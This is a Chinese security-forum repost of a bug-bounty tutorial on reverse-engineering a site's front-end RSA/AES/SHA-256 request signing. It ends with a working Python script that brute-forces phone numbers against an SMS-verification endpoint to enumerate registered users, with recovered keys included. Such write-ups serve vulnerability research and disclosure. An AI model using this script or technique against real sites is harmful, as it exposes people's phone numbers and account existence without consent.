安全矩阵

 找回密码
 立即注册
搜索
查看: 2805|回复: 0

挖洞实战之信息泄露与前端加密

[复制链接]

181

主题

182

帖子

721

积分

高级会员

Rank: 4

积分
721
发表于 2022-4-6 17:47:59 | 显示全部楼层 |阅读模式
本帖最后由 wangqiang 于 2022-4-7 10:40 编辑

挖洞实战之信息泄露与前端加密
原创 巡璃 合天网安实验室  2022-04-06 17:30

转载自挖洞实战之信息泄露与前端加密

前言
本文并非密码向,不会对算法过程/代码逻辑进行具体阐述,因为这没有意义,实战的时候肯定是具体问题具体分析,所以了解个大致流程就行。在挖洞过程中,很容易找到一些登录/忘记密码是手机验证码验证的站,有些站对发送验证码这一环节并未做太多的限制,理论上可以借助这个漏洞进行爆破,从
而得出数据库内所有已注册手机号,这也算一种信息泄露。这种洞十分好挖,对技术要求不高,很适合SRC入门!
如果站点在请求的时候存在前端加密,大概都是常规的AES或RSA(比如以前的京东/B站)。所以写篇文章,整理下思路。
寻源
前几天挖洞的时候就看到个发送验证码的


先跑一百个请求,对发包没有做什么限制,说明有门!

但问题来了,请求体是这样的,明显进行了前端加密,要想爆破,还得先找出加密逻辑。


打开F12,发现控制台在输出东西,


再看资源文件,chunk文件加上index,那直接去找index.js文件即可。


然后就是要找到具体位置了,c0ny1表哥给出了一些好办法,详情见快速定位前端加密方法
可惜在这个站上不怎么好使,只能慢慢找了。
一般前端加密都是用JSEncrypt库的,所以可以试试搜一些jsencrypt相关的方法名,如setPublicKey、encrypt等
若压缩过的代码看得太累,可以试试用http://jsnice.org/美化下。

不要手撕js,会变得不幸。
首先打开F12,点开源代码,点个js文件,之后再点下左下角的美化按钮

代码就变得好看多了


尝试性的搜了下encrypt,位置大概就被我找到了。


这里有很多个函数,如encodeRSA、decodeRSA、getKeyRSADefault、encodeAES、decodeAES、getKeyAES、signature这种函数名,可以说是再明显不过的提示了。
分析经过不眠不休的折磨,我逐渐理解了一切。
0.DEMO
先了解一下JSEncrypt库,十分简单
  1. import JSEncrypt from 'jsencrypt'

  2. //加密
  3. var encryptor = new JSEncrypt()
  4. var pubKey = '-----BEGIN PUBLIC KEY-----公钥-----END PUBLIC KEY-----'
  5. encryptor.setPublicKey(pubKey)//设置公钥
  6. var rsaPassWord = encryptor.encrypt('要加密的内容')

  7. //解密
  8. var decrypt = new JSEncrypt()
  9. var priKey  = '-----BEGIN RSA PRIVATE KEY-----私钥-----END RSA PRIVATE KEY----'
  10. decrypt.setPrivateKey(priKey)//设置秘钥
  11. var uncrypted = decrypt.decrypt("要解密的内容")//解密之前拿公钥加密的内容
复制代码

1.RSA
首先在疑似RSA加密的位置的结尾下个断点,

为什么要在结尾?大概思路是:不去关心这个函数的具体逻辑,因为太费劲;由结果推过程,直接看代码运行结束后那些参数以及返回值,以此结合所学知识/经验去推断这个函数的作用。
我们不是来做密码题的,我们只是来挖洞的。
然后会发现,右边有一大堆参数。


好,再看encodeRSA函数,已知n为0,该函数有用的部分就变成这样了

而s["JSEncrypt"]很明显,是JSEncrypt库的JSEncrypt对象,那将代码整理一下就是:
  1. function() {
  2.     o = new JSEncrypt();
  3.     o.setPublicKey(a);
  4.     return o.encrypt(t)
  5. }
复制代码

看,其实就是普通的RSA加密!
而且RSA公钥也给了,就是参数a!


然后加密字符串参数t,其值为PHVDHENXNREOEVON。这个值是网页在加载的时候就执行getKeyAES函数得出的结果。

在F12的控制台中执行一下,能够输出相似的结果。

JSEncrypt的默认RSA加密机制是RSAES-PKCS1-V1_5,而且还会进行base64编码。

扔到CyberChef先放着,待会有用。

加密完了,该尝试解密了。解密需要私钥。一般前端加密,公钥都会直接放到JS里,如果需要解密,那私钥也可能放这。
随便看了下,公钥和私钥就在下面,比较了下这个公钥和之前断点跑出的公钥也对的上。


这样,就可以解密了。


2.AES
接下来就是AES,同样的,下个断点看结果。


能够发现,参数e是输入的值,参数t的值和之前那个值一模一样,同时也是需要加密的字符串。
而且AES相关参数也给出了:

初始向量:1234567812345678,CBC模式,zeropadding填充。

AES的话,CyberChef没有padding相关选项,运算结果末位有所不同,所以用另一个表哥写的工具:https://github.com/Leon406/ToolsFx


解码的话也是一样,毕竟是对称加密。
3.SHA-256
SHA-2,名称来自于安全散列算法2(Secure Hash Algorithm 2)的缩写,一种密码散列函数算法标准,属于SHA算法之一,是SHA-1
的后继者。其下又可再分为六个不同的算法标准,包括了:SHA-224、SHA-256、SHA-384、SHA-512、SHA-512/224、SHA-512/256
这里就是最后的波纹了,也是最复杂的地方。

还是一样的思路,但由于输入的参数不好猜,于是我在同一行加了好多个断点去看参数变化,这是一个非常好滴技巧!如下图所示,每个蓝色三角形就是断点。
在这能发现,这段代码的意思就是将e组合起来,键值对加等号且再用逗号相连变成字符串n。


之后又将字符串n进行了相关处理,去掉逗号空格啊,加上括号啊,最后输出格式如下:
  1. {clientId=P_AIAS_ROS, encodeKey=GqdPQJptPlZctYZ+tEBo0MDTD7TntMDsrN3ATv5SC/WScxyhpYu/WoQsI0u42eDphmlhuHYWA6rPbWlcDYfyrHN8HWrrzHe+X7aiQh9Hnb1iR//I3abF4+Td641b1SeeYdU3aloc3ScaS8+CbVARKiM9g27R8CKk8Dbekb6lMEk=, requestData=Cy8UWBCz0dwJUBQ1u5BJr1jxicrnJ6YnrwchucXDanOVdV8Pp3rn1Uq35FB3pR7I, requestId=1647409240148, secret=test, timestamp=20220316014040}
复制代码


好,接下来来验证一下
这是返回值89a6716fb3958c180837569a4a50a093a2bfa0ab6763a3b439a05b78e80d38f9

输出结果对的上,说明没错:

看着下图的请求体,最后总结一下。


1.在网页加载的时候先获取一个长度16的AES KEY,然后对这个AES KEY进行RSA+Base64加密,结果为encodeKey,
2.将{"phone":"13888888888","smsCode":""}这个格式的字符串,根据AES KEY进行AES+Base64加密,结果为requestData
3.clientId、requestId、timestamp不影响。这三个参数并未参与密码运算,可以任意更改。
4.将所有参数融合进行SHA256加密来签名。
爆破分析完毕,那么接下来就可以开始爆破了。
接下来有两种做法:
1.写Python代码。因为思路以及理清且加密逻辑简单,可以直接手搓。
2.写JavaScript代码,配合c0ny1表哥的插件https://github.com/c0ny1/jsEncrypter
在这里我选择1,具体代码如下:
  1. import hashlib
  2. import urllib3
  3. import requests
  4. import base64
  5. from Crypto.Cipher import AES

  6. urllib3.disable_warnings()

  7. # aes的key和初始向量
  8. key = 'PHVDHENXNREOEVON'
  9. vi = '1234567812345678'
  10. url = ""
  11. headers = {"Sec-Ch-Ua": "" Not A;Brand";v="99", "Chromium";v="98", "Google Chrome";v="98"",
  12.            "Accept": "application/json, text/plain, */*", "Content-Type": "application/json;charset=UTF-8",
  13.            "Sec-Ch-Ua-Mobile": "?0",
  14.            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36",
  15.            "Token": "undefined", "Sec-Ch-Ua-Platform": ""Windows"",
  16.            "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "cors", "Sec-Fetch-Dest": "empty",
  17.            "Accept-Encoding": "gzip, deflate",
  18.            "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}


  19. def AES_Encrypt(data):
  20.     global key
  21.     global vi
  22.     pad = lambda s: s + (16 - len(s) % 16) * chr(0)
  23.     data = pad(data)
  24.     # 字符串补位
  25.     cipher = AES.new(key.encode('utf8'), AES.MODE_CBC, vi.encode('utf8'))
  26.     encryptedbytes = cipher.encrypt(data.encode('utf8'))
  27.     # 加密后得到的是bytes类型的数据
  28.     encodestrs = base64.b64encode(encryptedbytes)
  29.     # 使用Base64进行编码,返回byte字符串
  30.     enctext = encodestrs.decode('utf8')
  31.     # 对byte字符串按utf-8进行解码
  32.     return enctext


  33. def AES_Decrypt(data):
  34.     global key
  35.     global vi
  36.     data = data.encode('utf8')
  37.     encodebytes = base64.decodebytes(data)
  38.     # 将加密数据转换位bytes类型数据
  39.     cipher = AES.new(key.encode('utf8'), AES.MODE_CBC, vi.encode('utf8'))
  40.     text_decrypted = cipher.decrypt(encodebytes)
  41.     text_decrypted = text_decrypted.rstrip(b'\0')
  42.     # 去补位
  43.     text_decrypted = text_decrypted.decode('utf8')
  44.     return text_decrypted


  45. def sha256(text):
  46.     return hashlib.sha256(text.encode()).hexdigest()


  47. phone_list = []
  48. with open('test-phone.txt', 'r', encoding='utf8') as f:
  49.     for i in f:
  50.         phone_list.append(i.strip())

  51. for i in phone_list:
  52.     requestsData = AES_Encrypt('{"phone":"%s","smsCode":""}' % i)
  53.     encodeKey = "lFd5OEc6BEDbh/KA/JiYNOG1xoQY3GgwS8HAjWAVUt19zxXEzjvtice8EZapgHY0HqyEUaZT6lLFTXHfmJ0qXLyPLVzf01yQ0UMIWYQOHPyDygm4JXW/7OBO1dpb3uTjo0MF0YO0U3+LF+LfNHvbqByeXgj1vmswlrNSQMmRgmw="
  54.     sign_exp = '{clientId=1, encodeKey=%s, requestData=%s, requestId=1, secret=test, timestamp=1}' % (
  55.         encodeKey, requestsData)
  56.     sign = sha256(sign_exp)
  57.     json = {"clientId": "1",
  58.             "encodeKey": encodeKey,
  59.             "requestData": requestsData, "requestId": "1",
  60.             "sign": sign, "timestamp": "1"}
  61.     res = requests.post(url, headers=headers, json=json, verify=False)
  62.     try:
  63.         result = AES_Decrypt(res.text.strip())
  64.         if '该手机号未查询到用户' in result:
  65.             print("未注册" + i)
  66.         else:
  67.             print("查询到了:" + i)
  68.     except Exception as e:
  69.         print(e)
  70.         print(res.text)
  71.         exit()
复制代码

代码中我保持encodeKey不变,这样意味着AES KEY不变,爆破代码就可以不用写RSA相关了。
因为返回的值长这样,也是一个AES加密,所以写了个AES_Decrypt函数用于解密返回包。



这种爆破手机号的洞我也尝试去投了两个到CNVD,一个归档一个驳回,打个信息泄露擦边球着实难以界定。







回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-30 14:45 , Processed in 0.014130 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表